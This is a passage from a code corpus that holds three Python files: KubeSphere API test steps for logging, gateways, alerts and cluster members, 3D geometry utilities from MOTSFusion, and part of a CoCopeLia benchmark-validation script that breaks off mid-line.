'cluster_job_count%7Ccluster_cronjob_count%7Ccluster_pvc_count%7Ccluster_service_count%7C' \\\n 'cluster_ingresses_extensions_count%7Ccluster_pod_running_count%24'\n response = requests.get(url=url, headers=get_header())\n return response\n\n\n@allure.step('查询集群项目变化趋势')\ndef step_get_project_trend_of_cluster(start_time, end_time, step, times):\n url = env_url + '/kapis/monitoring.kubesphere.io/v1alpha3/cluster' \\\n '?start=' + start_time + '&end=' + end_time + '&step=' + step + '×=' + times + \\\n '&metrics_filter=cluster_namespace_count%24'\n response = requests.get(url=url, headers=get_header())\n return response\n\n\n@allure.step('添加日志收集器')\ndef step_add_log_receiver(type, log_type):\n \"\"\"\n :param type: fluentd、kafka\n :param log_type: logging、events、auditing\n :return:\n \"\"\"\n if type == 'fluentd':\n spec = {\"match\": \"kube.*\", \"forward\": {\"port\": 24224, \"host\": \"192.168.0.10\"}}\n elif type == 'kafka':\n spec = {\"match\": \"kube.*\", \"kafka\": {\"topics\": \"test-kafka\", \"brokers\": \"192.168.0.10:9092\"}}\n\n url = env_url + '/apis/logging.kubesphere.io/v1alpha2/namespaces/kubesphere-logging-system/outputs'\n data = {\"apiVersion\": \"logging.kubesphere.io/v1alpha2\", \"kind\": \"Output\",\n \"metadata\": {\"name\": \"forward-\" + log_type, \"namespace\": \"kubesphere-logging-system\",\n \"labels\": {\"logging.kubesphere.io/enabled\": \"true\",\n \"logging.kubesphere.io/component\": log_type},\n \"annotations\": {\"kubesphere.io/creator\": \"admin\"}},\n \"spec\": spec}\n response = requests.post(url=url, headers=get_header(), data=json.dumps(data))\n time.sleep(2)\n return response\n\n\n@allure.step('查看日志接收器')\ndef step_get_log_receiver(type):\n \"\"\"\n :param type: logging、events、auditing\n :return:\n \"\"\"\n url = env_url + '/apis/logging.kubesphere.io/v1alpha2/namespaces/kubesphere-logging-system/outputs?' \\\n 'labelSelector=logging.kubesphere.io%2Fcomponent%3D' + type\n response = requests.get(url=url, headers=get_header())\n return response\n\n\n@allure.step('查看日志接收器详情')\ndef step_get_log_receiver_detail(name):\n \"\"\"\n :param name: 日志接收器的名称\n :return:\n \"\"\"\n url = env_url + '/apis/logging.kubesphere.io/v1alpha2/namespaces/kubesphere-logging-system/outputs/' + name\n response = requests.get(url=url, headers=get_header())\n return response\n\n\n@allure.step('更改日志接收器的状态')\ndef step_modify_log_receiver_status(name, status):\n \"\"\"\n :param name: 日志接收器名称\n :param status: 日志接收器状态\n :return:\n \"\"\"\n url = env_url + '/apis/logging.kubesphere.io/v1alpha2/namespaces/kubesphere-logging-system/outputs/' + name\n data = {\"metadata\": {\"labels\": {\"logging.kubesphere.io/enabled\": status}}}\n response = requests.patch(url=url, headers=get_header_for_patch(), data=json.dumps(data))\n return response\n\n\n@allure.step('编辑日志接收器的地址')\ndef step_modify_log_receiver_address(name, host, port):\n \"\"\"\n :param host:\n :param port:\n :param name: 日志接收器名称\n :return:\n \"\"\"\n url = env_url + '/apis/logging.kubesphere.io/v1alpha2/namespaces/kubesphere-logging-system/outputs/' + name\n data = {\"spec\": {\"forward\": {\"host\": host, \"port\": port}}}\n response = requests.patch(url=url, headers=get_header_for_patch(), data=json.dumps(data))\n return response\n\n\n@allure.step('删除日志接收器')\ndef step_delete_log_receiver(name):\n \"\"\"\n :param name: 日志接收器名称\n :return:\n \"\"\"\n url = env_url + '/apis/logging.kubesphere.io/v1alpha2/namespaces/kubesphere-logging-system/outputs/' + name\n response = requests.delete(url=url, headers=get_header())\n return response\n\n\n@allure.step('开启集群网关')\ndef step_open_cluster_gateway(type):\n url = env_url + '/apis/gateway.kubesphere.io/v1alpha1/namespaces/kubesphere-controls-system/gateways/kubesphere-router-kubesphere-system'\n if type == 'NodePort':\n data = {\"apiVersion\": \"gateway.kubesphere.io/v1alpha1\", \"kind\": \"Gateway\",\n \"metadata\": {\"namespace\": \"kubesphere-controls-system\", \"name\": \"kubesphere-router-kubesphere-system\",\n \"creator\": \"admin\",\n \"annotations\": {\"kubesphere.io/annotations\": \"\", \"kubesphere.io/creator\": \"admin\"},\n \"labels\": {\"kubesphere.io/gateway-type\": \"cluster\"}},\n \"spec\": {\n \"controller\": {\"replicas\": 1, \"annotations\": {}, \"config\": {\"worker-processes\": \"4\"},\n \"scope\": {\"enabled\": False, \"namespace\": \"\"}},\n \"deployment\": {\"annotations\": {\"servicemesh.kubesphere.io/enabled\": \"false\"}, \"replicas\": 1},\n \"service\": {\"annotations\": {}, \"type\": \"NodePort\"}}}\n\n elif type == 'LoadBalancer':\n data = {\"apiVersion\": \"gateway.kubesphere.io/v1alpha1\", \"kind\": \"Gateway\",\n \"metadata\": {\"namespace\": \"kubesphere-controls-system\", \"name\": \"kubesphere-router-kubesphere-system\",\n \"creator\": \"admin\",\n \"annotations\": {\"kubesphere.io/annotations\": \"QingCloud Kubernetes Engine\",\n \"kubesphere.io/creator\": \"admin\"},\n \"labels\": {\"kubesphere.io/gateway-type\": \"cluster\"}},\n \"spec\": {\n \"controller\": {\"replicas\": 1, \"annotations\": {}, \"config\": {\"worker-processes\": \"4\"},\n \"scope\": {\"enabled\": False, \"namespace\": \"\"}},\n \"deployment\": {\"annotations\": {\"servicemesh.kubesphere.io/enabled\": \"false\"}, \"replicas\": 1},\n \"service\": {\"annotations\": {\"service.beta.kubernetes.io/qingcloud-load-balancer-eip-ids\": \"\",\n \"service.beta.kubernetes.io/qingcloud-load-balancer-type\": \"0\"},\n \"type\": \"LoadBalancer\"}}}\n response = requests.post(url=url, headers=get_header(), data=json.dumps(data))\n # 查询集群网关,并等待其创建成功\n i = 0\n while i < 60:\n try:\n response = step_get_cluster_gateway()\n if response.json()[0]['status']:\n break\n except Exception as e:\n print(e)\n time.sleep(1)\n i += 1\n return response\n\n\n@allure.step('查询集群网关')\ndef step_get_cluster_gateway():\n url = env_url + '/kapis/gateway.kubesphere.io/v1alpha1/namespaces/kubesphere-system/gateways'\n response = requests.get(url=url, headers=get_header())\n return response\n\n\n@allure.step('关闭集群网关')\ndef step_delete_cluster_gateway():\n url = env_url + '/apis/gateway.kubesphere.io/v1alpha1/namespaces/kubesphere-controls-system/gateways/kubesphere-router-kubesphere-system'\n data = {}\n response = requests.delete(url=url, headers=get_header(), data=json.dumps(data))\n return response\n\n\n@allure.step('查看集群网关详情')\ndef step_get_cluster_gateway_detail():\n url = env_url + '/kapis/gateway.kubesphere.io/v1alpha1/namespaces/kubesphere-system/gateways'\n response = requests.get(url=url, headers=get_header())\n return response\n\n\n@allure.step('编辑集群网关')\ndef step_edit_cluster_gateway(uid, resource_version, config, status):\n \"\"\"\n :param uid:\n :param resource_version:\n :param config: ex {\"4\": \"5\"}\n :param status: 链路追踪状态 true、false\n :return:\n \"\"\"\n url = env_url + '/apis/gateway.kubesphere.io/v1alpha1/namespaces/kubesphere-controls-system/gateways/kubesphere-router-kubesphere-system'\n data = {\"metadata\": {\"name\": \"kubesphere-router-kubesphere-system\", \"namespace\": \"kubesphere-controls-system\",\n \"uid\": uid, \"resourceVersion\": resource_version, \"generation\": 2,\n \"annotations\": {\"kubesphere.io/annotations\": \"\", \"kubesphere.io/creator\": \"admin\"},\n \"finalizers\": [\"uninstall-helm-release\"], \"managedFields\": [\n {\"manager\": \"controller-manager\", \"operation\": \"Update\", \"apiVersion\": \"gateway.kubesphere.io/v1alpha1\",\n \"fieldsType\": \"FieldsV1\"},\n ]},\n \"spec\": {\"controller\": {\"replicas\": 1, \"config\": config, \"scope\": {}}, \"service\": {\"type\": \"NodePort\"},\n \"deployment\": {\"replicas\": 1, \"annotations\": {\"servicemesh.kubesphere.io/enabled\": status}}},\n \"apiVersion\": \"gateway.kubesphere.io/v1alpha1\", \"kind\": \"Gateway\"}\n response = requests.put(url=url, headers=get_header(), data=json.dumps(data))\n return response\n\n\n@allure.step('在集群设置/网关设置中查询项目网关')\ndef step_get_project_gateway(name):\n url = env_url + '/kapis/gateway.kubesphere.io/v1alpha1/gateways?name=' + name + '&sortBy=createTime'\n response = requests.get(url=url, headers=get_header())\n return response\n\n\n@allure.step('在监控告警/告警策略中创建告警策略(节点cpu利用率大于0)')\ndef step_create_alert_policy(group_name, node_name):\n url = env_url + '/apis/alerting.kubesphere.io/v2beta1/clusterrulegroups'\n alert_name = group_name + '-alert'\n data = {\"apiVersion\": \"alerting.kubesphere.io/v2beta1\",\n \"kind\": \"ClusterRuleGroup\",\n \"metadata\": {\"name\": group_name, \"labels\": {\"alerting.kubesphere.io/enable\": \"true\"},\n \"annotations\": {\"kubesphere.io/creator\": \"admin\"}},\n \"annotations\": {\"aliasName\": \"\", \"description\": \"\"},\n \"spec\": {\"interval\": \"1s\", \"partial_response_strategy\": \"\",\n \"rules\": [\n {\"alert\": alert_name, \"annotations\": {\"summary\": \"gaiyao\", \"message\": \"xiangqing\"},\n \"exprBuilder\": {\n \"node\": {\"names\": [node_name], \"metricThreshold\": {\"cpu\": {\"utilization\": 0}},\n \"comparator\": \">\"}},\n \"disable\": False, \"for\": \"1m\", \"severity\": \"critical\", \"expr\": \"\"}]}}\n response = requests.post(url=url, headers=get_header(), data=json.dumps(data))\n return response\n\n\n@allure.step('在监控告警/查看用户自定义规则组')\ndef step_get_alert_custom_policy(alert_name):\n url = env_url + '/kapis/alerting.kubesphere.io/v2beta1/clusterrulegroups?name=' + alert_name + '&sortBy=createTime&limit=10'\n response = requests.get(url=url, headers=get_header())\n return response\n\n\n@allure.step('在监控告警/查看用户自定义告警详情')\ndef step_get_alert_custom_policy_detail(alert_name):\n url = env_url + '/kapis/alerting.kubesphere.io/v2beta1/clusterrulegroups/' + alert_name\n response = requests.get(url=url, headers=get_header())\n return response\n\n\n@allure.step('在监控告警/修改用户自定义告警策略的持续时间为5min')\ndef step_edit_alert_custom_policy(group_name, id, node_name, resource_version):\n url = env_url + '/apis/alerting.kubesphere.io/v2beta1/clusterrulegroups/' + group_name\n alert_name = group_name + '-alert'\n data = {\"kind\": \"ClusterRuleGroup\", \"apiVersion\": \"alerting.kubesphere.io/v2beta1\",\n \"metadata\": {\"name\": group_name, \"labels\": {\"alerting.kubesphere.io/enable\": \"true\"},\n \"annotations\": {\"kubesphere.io/creator\": \"admin\"}, \"resourceVersion\": resource_version},\n \"spec\": {\"interval\": \"1s\", \"rules\": [{\"alert\": alert_name, \"expr\": \"\", \"for\": \"5m\", \"severity\": \"critical\",\n \"labels\": {\"rule_id\": id},\n \"annotations\": {\"summary\": \"gaiyao\", \"message\": \"xiangqing\"},\n \"exprBuilder\": {\"node\": {\"names\": [node_name], \"metricThreshold\": {\n \"cpu\": {\"utilization\": 0.01}}, \"comparator\": \">\"}},\n \"disable\": False}]}}\n response = requests.put(url=url, headers=get_header(), data=json.dumps(data))\n return response\n\n\n@allure.step('在监控告警/删除用户自定义规则组')\ndef step_delete_alert_custom_policy(alert_name):\n url = env_url + '/apis/alerting.kubesphere.io/v2beta1/clusterrulegroups/' + alert_name\n response = requests.delete(url=url, headers=get_header())\n return response\n\n\n@allure.step('在监控告警/查看告警策略生成的告警消息')\ndef step_get_alert_message(type, condition):\n base_url = env_url + '/kapis/alerting.kubesphere.io/v2beta1/'\n if type == 'builtin':\n url = base_url + 'globalalerts?builtin=true' + condition + '&sortBy=activeAt&limit=10'\n else:\n url = base_url + 'clusteralerts?' + condition + 'sortBy=activeAt&limit=10'\n response = requests.get(url=url, headers=get_header())\n return response\n\n\n@allure.step('在监控告警/验证规则组存在已触发的规则')\ndef step_check_group_rule_firing(alert_name):\n i = 0\n while i < 180:\n re = step_get_alert_custom_policy(alert_name)\n if re.json()['items'][0]['status']['rulesStats']['firing']:\n return True\n else:\n time.sleep(5)\n i += 5\n return False\n\n\n@allure.step('查看告警规则组')\ndef step_get_alert_policies(type, condition):\n \"\"\"\n :param type: 'builtin/' 表示内置策略,传入''表示用户自定义策略。\n :param condition: 查询条件\n :return:\n \"\"\"\n base_url = env_url + '/kapis/alerting.kubesphere.io/v2beta1/'\n if type == 'builtin':\n url = base_url + 'globalrulegroups?builtin=true&' + condition + '&sortBy=createTime&limit=10'\n else:\n url = base_url + 'clusterrulegroups?' + condition + '&sortBy=createTime&limit=10'\n response = requests.get(url=url, headers=get_header())\n return response\n\n\n@allure.step('按规则组状态查询规则组')\ndef step_get_alert_policies_by_state(type, state):\n base_url = env_url + '/kapis/alerting.kubesphere.io/v2beta1/'\n if type == 'builtin':\n url = base_url + 'globalrulegroups?builtin=true&sortBy=createTime&limit=10&labelSelector=alerting.kubesphere.io%2Fenable%3D' + state\n else:\n url = base_url + 'clusterrulegroups?sortBy=createTime&limit=10&labelSelector=alerting.kubesphere.io%2Fenable%3D' + state\n response = requests.get(url=url, headers=get_header())\n return response\n\n\n@allure.step('查询集群成员')\ndef step_get_cluster_member(condition):\n \"\"\"\n\n :param condition: 查询条件 如name=admin\n :return:\n \"\"\"\n if len(condition) > 0:\n new_condition = condition + '&'\n else:\n new_condition = condition\n url = env_url + '/kapis/iam.kubesphere.io/v1alpha2/clustermembers?' + new_condition + 'sortBy=createTime'\n print(url)\n response = requests.get(url=url, headers=get_header())\n return response\n\n\n@allure.step('邀请用户到集群成员')\ndef step_invite_cluster_member(user_name, role):\n url = env_url + '/kapis/iam.kubesphere.io/v1alpha2/clustermembers'\n data = [{\"username\": user_name, \"roleRef\": role}]\n response = requests.post(url=url, headers=get_header(), data=json.dumps(data))\n return response\n\n\n@allure.step('将用户从集群成员中移出')\ndef step_remove_cluster_member(user_name):\n url = env_url + '/kapis/iam.kubesphere.io/v1alpha2/clustermembers/' + user_name\n response = requests.delete(url=url, headers=get_header())\n return response\n\n\n@allure.step('查看集群角色')\ndef step_get_cluster_role():\n url = env_url + '/kapis/iam.kubesphere.io/v1alpha2/clusterroles?sortBy=createTime&annotation=kubesphere.io%2Fcreator'\n response = requests.get(url=url, headers=get_header())\n return response\n","repo_name":"kubesphere-sigs/Api-AutoTest","sub_path":"step/cluster_steps.py","file_name":"cluster_steps.py","file_ext":"py","file_size_in_byte":37644,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"7"} +{"seq_id":"24968269781","text":"import numpy as np\nimport cv2\nimport collections\nimport os\nimport scipy.misc, scipy.stats\nimport matplotlib.pyplot as plt\nimport skimage.transform\nfrom file_io.io_utils import readFloat\n\n\ndef euler2mat(z, y, x):\n \"\"\"Converts euler angles to rotation matrix\n TODO: remove the dimension for 'N' (deprecated for converting all source\n poses altogether)\n Reference: https://github.com/pulkitag/pycaffe-utils/blob/master/rot_utils.py#L174\n Args:\n z: rotation angle along z axis (in radians) -- size = [B, N]\n y: rotation angle along y axis (in radians) -- size = [B, N]\n x: rotation angle along x axis (in radians) -- size = [B, N]\n Returns:\n Rotation matrix corresponding to the euler angles -- size = [B, N, 3, 3]\n \"\"\"\n B =np.shape(z)[0]\n N = 1\n z =np.clip(z, -np.pi, np.pi)\n y =np.clip(y, -np.pi, np.pi)\n x =np.clip(x, -np.pi, np.pi)\n\n # Expand to B x N x 1 x 1\n z =np.expand_dims(np.expand_dims(z, -1), -1)\n y =np.expand_dims(np.expand_dims(y, -1), -1)\n x =np.expand_dims(np.expand_dims(x, -1), -1)\n\n zeros =np.zeros([B, N, 1, 1])\n ones =np.ones([B, N, 1, 1])\n\n cosz =np.cos(z)\n sinz =np.sin(z)\n rotz_1 =np.concatenate([cosz, -sinz, zeros], axis=3)\n rotz_2 =np.concatenate([sinz, cosz, zeros], axis=3)\n rotz_3 =np.concatenate([zeros, zeros, ones], axis=3)\n zmat =np.concatenate([rotz_1, rotz_2, rotz_3], axis=2)\n\n cosy =np.cos(y)\n siny =np.sin(y)\n roty_1 =np.concatenate([cosy, zeros, siny], axis=3)\n roty_2 =np.concatenate([zeros, ones, zeros], axis=3)\n roty_3 =np.concatenate([-siny, zeros, cosy], axis=3)\n ymat =np.concatenate([roty_1, roty_2, roty_3], axis=2)\n\n cosx =np.cos(x)\n sinx =np.sin(x)\n rotx_1 =np.concatenate([ones, zeros, zeros], axis=3)\n rotx_2 =np.concatenate([zeros, cosx, -sinx], axis=3)\n rotx_3 =np.concatenate([zeros, sinx, cosx], axis=3)\n xmat =np.concatenate([rotx_1, rotx_2, rotx_3], axis=2)\n\n rotMat =np.matmul(np.matmul(zmat, ymat), xmat)\n return rotMat\n\n\ndef pose_vec2mat(vec):\n \"\"\"Converts parameters to transformation matrix\n Args:\n vec: 6DoF/3DoF parameters in the order of tx, ty, tz, rx, ry, rz -- [1, 6] or theta, tx, ty -- [3]\n Returns:\n A transformation matrix -- [1, 4, 4]\n \"\"\"\n if len(vec) == 3:\n return np.array([np.cos(vec[2]), -np.sin(vec[2]), vec[0],\n np.sin(vec[2]), np.cos(vec[2]), vec[1],\n 0., 0., 1.], dtype=np.float).reshape((3, 3))\n else:\n batch_size = np.shape(vec)[0]\n translation =vec[0, 0:3] * -np.pi\n translation =np.expand_dims([translation], -1)\n rx =[[vec[0, 3]* -1]]\n ry =[[vec[0, 4]* -1]]\n rz =[[vec[0, 5]* -1]]\n rot_mat = euler2mat(rz, ry, rx)\n rot_mat =np.squeeze([rot_mat], axis=[1])\n rot_mat = [rot_mat]\n filler =[[[0., 0., 0., 1.]]]\n filler =np.tile(filler, [batch_size, 1, 1])\n transform_mat =np.concatenate([rot_mat, translation], axis=2)\n transform_mat =np.concatenate([transform_mat, filler], axis=1)\n return transform_mat\n\n\ndef computePointImage(depth_img, calibration_params):\n pix_y = np.arange(0, depth_img.shape[0])\n pix_x = np.arange(0, depth_img.shape[1])\n\n x, y = np.meshgrid(pix_x, pix_y)\n\n x = x.flatten()\n y = y.flatten()\n\n coords = np.stack([x, y, np.ones(x.shape)], axis=-1)\n coords = coords @ np.linalg.inv(calibration_params.camera_matrix.T)\n coords = np.expand_dims(depth_img.flatten(), axis=-1) * coords\n\n coord_img = np.reshape(coords, (depth_img.shape[0], depth_img.shape[1], 3))\n\n return coord_img\n\n\ndef transformPointImage(point_img, pose):\n coords = point_img.reshape((point_img.shape[0] * point_img.shape[1], point_img.shape[2]))\n\n # transform points according to estimated camera motion (pose)\n transformation_matrix = pose\n coords = np.column_stack((coords, np.ones(len(coords))))\n coords = coords @ transformation_matrix.T\n coords = coords[:, 0:3]\n\n coord_img = np.reshape(coords, point_img.shape)\n return coord_img\n\n\ndef computeColorMatrix(source_img, img_shape, coords):\n source_img = cv2.bilateralFilter(source_img, 9, 75, 75)\n source_img = cv2.resize(np.asarray(source_img), img_shape)\n return np.asarray(source_img).flatten().reshape(coords.shape)\n\n\ndef diff(x, y):\n transmat_y = pose_vec2mat(np.expand_dims(y, 0))[0]\n translation = np.dot(x[0:3, 0:3], transmat_y[0:3, 3]) + x[0:3, 3]\n rotation = np.matmul(x[0:3, 0:3], transmat_y[0:3, 0:3])\n filler = np.array([[0.0, 0.0, 0.0, 1.0]])\n transform_mat = np.concatenate([rotation, np.expand_dims(translation, -1)], axis=1)\n transform_mat = np.concatenate([transform_mat, filler], axis=0)\n return transform_mat\n\n\ndef process_poses(poses_raw, type):\n if type == 'geonet':\n f_poses = np.zeros((len(poses_raw)+2, 4, 4))\n init = np.asarray([[1, 0, 0, 0], [0, 1, 0, 0], [0, 0, 1, 0], [0, 0, 0, 1]], dtype=np.float32)\n # cover corner cases\n f_poses[0] = pose_vec2mat(np.expand_dims(poses_raw[0][0], 0))[0]\n f_poses[1] = pose_vec2mat(np.expand_dims(poses_raw[0][1], 0))[0]\n f_poses[2] = init\n\n #compute global poses\n for i in range(2, len(poses_raw)):\n f_poses[i + 1] = diff(f_poses[i], poses_raw[i-2][3])\n\n # cover corner cases\n f_poses[-3] = diff(f_poses[len(poses_raw)-1], poses_raw[len(poses_raw) - 2][3])\n f_poses[-2] = diff(f_poses[len(poses_raw)], poses_raw[len(poses_raw)-1][3])\n f_poses[-1] = diff(f_poses[len(poses_raw)+1], poses_raw[len(poses_raw)-1][4])\n else:\n f_poses = np.zeros((len(poses_raw), 4, 4))\n filler = np.array([[0.0, 0.0, 0.0, 1.0]])\n for i in range(len(f_poses)):\n f_poses[i] = np.concatenate([poses_raw[i].reshape(3, 4), filler], axis=0)\n\n return f_poses\n\n\ndef flow_warp_idx(x, y, flow, shape):\n flow_point = flow[x, y]\n warped_x = np.maximum(np.minimum(x + int(flow_point[1]), shape[0]-1), 0)\n warped_y = np.maximum(np.minimum(y + int(flow_point[0]), shape[1]-1), 0)\n return warped_x, warped_y\n\n\ndef flowwarp_pointimg(point_img_t1, point_img_t0, flow, occ):\n flow_img = np.zeros(point_img_t1.shape)\n for x in range(flow_img.shape[0]):\n for y in range(flow_img.shape[1]):\n if occ[x, y] or any(np.isnan(point_img_t0[x, y])):\n flow_img[x, y] = np.NaN\n else:\n flow_img[x, y] = point_img_t1[flow_warp_idx(x, y, flow, point_img_t1.shape)]\n\n return flow_img\n\n\ndef compute_uncertainty_map(point_img):\n uncertainty_map = np.square(point_img[:,:,2])\n uncertainty_map = uncertainty_map / np.max(np.where(np.isnan(uncertainty_map), 0., uncertainty_map))\n uncertainty_map = np.square(uncertainty_map)\n return uncertainty_map\n\n\ndef filter_nans(coords, colors):\n merged = np.column_stack(np.asarray((coords, colors)))\n mask = [np.isnan(elem).any() for elem in merged]\n merged = merged[np.logical_not(mask)]\n return merged[:, :3], merged[:, 3:]\n\n\ndef bbox_iou(box1, box2):\n x0_min = min(box1[0], box2[0])\n x0_max = max(box1[0], box2[0])\n y0_min = min(box1[1], box2[1])\n y0_max = max(box1[1], box2[1])\n x1_min = min(box1[2], box2[2])\n x1_max = max(box1[2], box2[2])\n y1_min = min(box1[3], box2[3])\n y1_max = max(box1[3], box2[3])\n I = max(x1_min - x0_max, 0) * max(y1_min - y0_max, 0)\n U = (x1_max - x0_min) * (y1_max - y0_min)\n if U == 0:\n return 0.0\n else:\n return I / U\n\n","repo_name":"tobiasfshr/MOTSFusion","sub_path":"utils/geometry_utils.py","file_name":"geometry_utils.py","file_ext":"py","file_size_in_byte":7531,"program_lang":"python","lang":"en","doc_type":"code","stars":168,"dataset":"github-code","pt":"7"} +{"seq_id":"14802843264","text":"import pandas as pd\npd.options.mode.chained_assignment = None # default='warn'\nimport numpy as np\nfrom scipy import stats\n\ndef get_level(function):\n\tif function == 'Daxpy':\n\t\tlevel = 1\n\telif ((function == 'Dgemm') or (function == 'Sgemm')):\n\t\tlevel = 3\n\telse:\n\t\tprint(\"get_level: Error (Invalid function)\")\n\t\tquit()\n\treturn level\n\ndef remote_f(x, dev_id):\n\tif x == dev_id:\n\t\treturn 0\n\telse:\n\t\treturn 1\n\ndef tokenize_device(dev_id):\n\treturn 10**dev_id\n\ndef split_pred_struct(pred_struct):\n\tT = []\n\tcpu_ratio = []\n\tpred_t = []\n\tfor line in list(pred_struct):\n\t\tT.append(int(line[1:-1].split('|')[0]))\n\t\tcpu_ratio.append(float(line[1:-1].split('|')[1]))\n\t\tpred_t.append(float(line[1:-1].split('|')[2]))\n\t#print(T)\n\t#print(cpu_ratio)\n\t#print(pred_t)\n\treturn T, cpu_ratio, pred_t\n\ndef read_validation_values(indir,func):\n\tlevel = get_level(func)\n\tif level==3:\n\t\tvalidata_CoCo = pd.read_csv('%s/CoCopeLia%sRunner_predefined_vals.log' % (indir, func),\n\t\t\t\theader =None, skipinitialspace=True, \n\t\t\t\tnames= ['T', 'dev_num', 'dev_ids_token', 'cpu_ratio', 'TransA', 'TransB', 'M','N','K', 'Aloc','Bloc', 'Cloc', 'CoCopeLia_avg_t', 'CoCopeLia_min_t', 'CoCopeLia_max_t'], \t\n\t\t\t\t#['T', 'dev_num', 'dev_ids_token', 'cpu_ratio', 'TransA', 'TransB', 'alpha', 'beta', 'M','N','K', 'Aloc','Bloc', 'Cloc', 'Coutloc', 'CoCopeLia_avg_t', 'CoCopeLia_min_t', 'CoCopeLia_max_t'], \n\t\t\t\tdtype={'T': int, 'dev_num': int, 'dev_ids_token':int, 'cpu_ratio': np.float64, 'TransA': str, 'TransB': str, 'M' :int ,'N': int,'K' :int, \n\t\t\t\t\t'Aloc' :int,'Bloc' :int, 'Cloc' : int, 'CoCopeLia_avg_t': np.float64, 'CoCopeLia_min_t': np.float64, 'CoCopeLia_max_t': np.float64},\n\t\t\t\tusecols = [0,1,2,3,4,5,8,9,10,11,12,13,15,16,17])\n\t\t#We use cublasXt_t as a no-reuse example\n\t\tvalidata_cuBLASXt = pd.read_csv('%s/cuBLASXt%sRunner_predefined_vals.log' % (indir, func),\n\t\t\t\theader =None, names= ['T', 'dev_num', 'dev_ids_token', 'cpu_ratio', 'TransA', 'TransB', 'alpha', 'beta', 'M','N','K', \n\t\t\t\t\t\t\t'Aloc','Bloc', 'Cloc', 'Coutloc', 'cuBLASXt_avg_t', 'cuBLASXt_min_t', 'cuBLASXt_max_t'], skipinitialspace=True)\n\n\t\tprint( \"read_validation_values : Read %d values from \\\"%s/CoCopeLia%sRunner_predefined_vals.log\\\"...\" %( len(validata_CoCo), indir, func))\n\t\tprint( \"read_validation_values : Read %d values from \\\"%s/cuBLASXt%sRunner_predefined_vals.log\\\"..\" %( len(validata_cuBLASXt), indir, func))\n\n\t\tvalidata = validata_CoCo #pd.merge(validata_CoCo, validata_cuBLASXt, on = ['T', 'dev_num', 'dev_ids_token', 'cpu_ratio', 'TransA', 'TransB', 'alpha', 'beta', 'M','N','K', 'Aloc','Bloc', 'Cloc', 'Coutloc'])\n\n\telif level==1: \n\t\tvalidata = pd.read_csv('%s/Results/%s/validation/CoCopeLia_%s_0_v%s.log' % (rootdir, machine, func, version),\n\t\t\t\t\t\t\t header =None, usecols = [0,1,2,3,8,9], names= ['N', 'T', 'Aloc','Bloc', 'Noreuse_t', 'unified_t'])\n\t\tvalidata['M'] = validata['K'] = validata['Cloc'] = -1\n\t\tprint( \"read_validation_values : Read %d values from \\\"%s/Results/%s/validation/CoCopeLia_%s_0_v%s.log\\\"...\" %( len(validata), rootdir,machine, func, version))\n\treturn validata\n\ndef read_validation_single_prediction(indir,func, dev_id, model):\n\tpred_data_in = pd.read_csv('%s/CoCopeLiaLogPrediction-%s_dev-%d.log' % (indir, func, dev_id), \n\t\t\tskipinitialspace=True, header =None, \n\t\t\tnames= ['ModelName', 'TransA', 'TransB', 'M','N','K', 'Aloc','Bloc', 'Cloc', 'pred_struct', 'inference_t'],\n\t\t\t#['ModelName', 'dev_id', 'func', 'Flag0', 'TransA', 'TransB', 'M','N','K', 'Aloc','Bloc', 'Cloc', 'Aoutloc','Boutloc', 'Coutloc', 'ldA', 'ldB', 'ldC', 'pred_struct', 'inference_t']\n\t\t\tdtype={'TransA': str, 'TransB': str, 'M': int, 'N': int, 'K': int, 'Aloc': int, 'Bloc': int, 'Cloc': int, 'inference_t': np.float64} , \n\t\t\tusecols = [0,4,5,6,7,8,9,10,11,18,19])\n\n\tprint( \"read_validation_single_prediction : Read %d predictions from \\\"'%s/CoCopeLiaLogPrediction-%s_dev-%d.log\\\"...\" %( len(pred_data_in), indir, func,dev_id))\n\tpred_data_tmp = pred_data_in[(pred_data_in['ModelName']==model)]\n\tprint( \"read_validation_single_prediction : Kept %d predictions for ModelName=%s from \\\"'%s/CoCopeLiaLogPrediction-%s_dev-%d.log\\\"...\" %( len(pred_data_tmp), model, indir, func,dev_id))\n\t#del pred_data_tmp['Model_name']\n\treturn pred_data_tmp\n\ndef read_validation_predictions(rootdir,machine,func,version):\n\tlevel = get_level(func)\n\tif level==3:\n\t\tpred_data_reuse = pd.read_csv('%s/Results/%s/validation/%s_CoCopelia_predict_avg_0_v%s.log' % (rootdir,machine, func, version),\n\t\t\t\theader =None, names= ['M','N','K','T', 'Aloc','Bloc', 'Cloc', 'werkhoven', 'CoCopelia'], dtype={'werkhoven': np.float64, 'CoCopelia': np.float64} ) #usecols = [0,1,2,3,5,6,7,8,9],\n\n\t\tpred_data_no_reuse = pd.read_csv('%s/Results/%s/validation/%s_CoCopelia_predict_no_reuse_0_v%s.log' % (rootdir,machine, func, version),\n\t\t\t\theader =None, names= ['M','N','K','T', 'Aloc','Bloc', 'Cloc', 'werkhoven', 'CoCopelia_nr'], dtype={'werkhoven': np.float64, 'CoCopelia_nr': np.float64} ) #usecols = [0,1,2,3,5,6,7,8,9],\n\n\t\tpred_data = pd.merge(pred_data_reuse,pred_data_no_reuse, on = ['M', 'N', 'K', 'T', 'Aloc', 'Bloc', 'Cloc', 'werkhoven'])\n\n\telif level==1: \n\t\tpred_data = pd.read_csv('%s/Results/%s/validation/%s_CoCopelia_predict_avg_0_v%s.log' % (rootdir,machine, func, version),\n\t\t\t\theader =None, names= ['N','T', 'Aloc','Bloc', 'werkhoven', 'CoCopelia_nr'], dtype={'werkhoven': np.float64, 'CoCopelia': np.float64} ) #usecols = [0,1,2,3,5,6,7,8,9],\n\t\tpred_data['M'] = pred_data['K'] = pred_data['Cloc'] = -1\n\n\tprint( \"read_validation_predictions : Read %d predictions from \\\"%s/Results/%s/validation/%s_CoCopelia_predict_avg_0_v%s.log\\\"..\" %( len(pred_data), rootdir, machine, func, version))\t\n\treturn pred_data\n\ndef create_validation_set(values_df, pred_df,func):\n\tlevel = get_level(func)\n\tmerged_full = values_df.merge(pred_df, on = ['T','TransA', 'TransB', 'M','N','K', 'Aloc','Bloc', 'Cloc','cpu_ratio'])\n\t#print(merged_full)\n\tprint( \"create_validation_set : Combined %d prediction/validation pairs\" %( len(merged_full)))\n\tif level==3:\n\t\tmerged = merged_full[(merged_full['M']/1.5 >= merged_full['T']) & (merged_full['N']/1.5 >= merged_full['T']) & (merged_full['K']/1.5 >= merged_full['T'])] # Remove for perper (merged_full['T'] != 8192) & (merged_full['T'] >= 512) & \n\telif level==1: \n\t\tmerged = merged_full[(merged_full['T'] >= merged_full['N']/64) & (merged_full['T'] <= 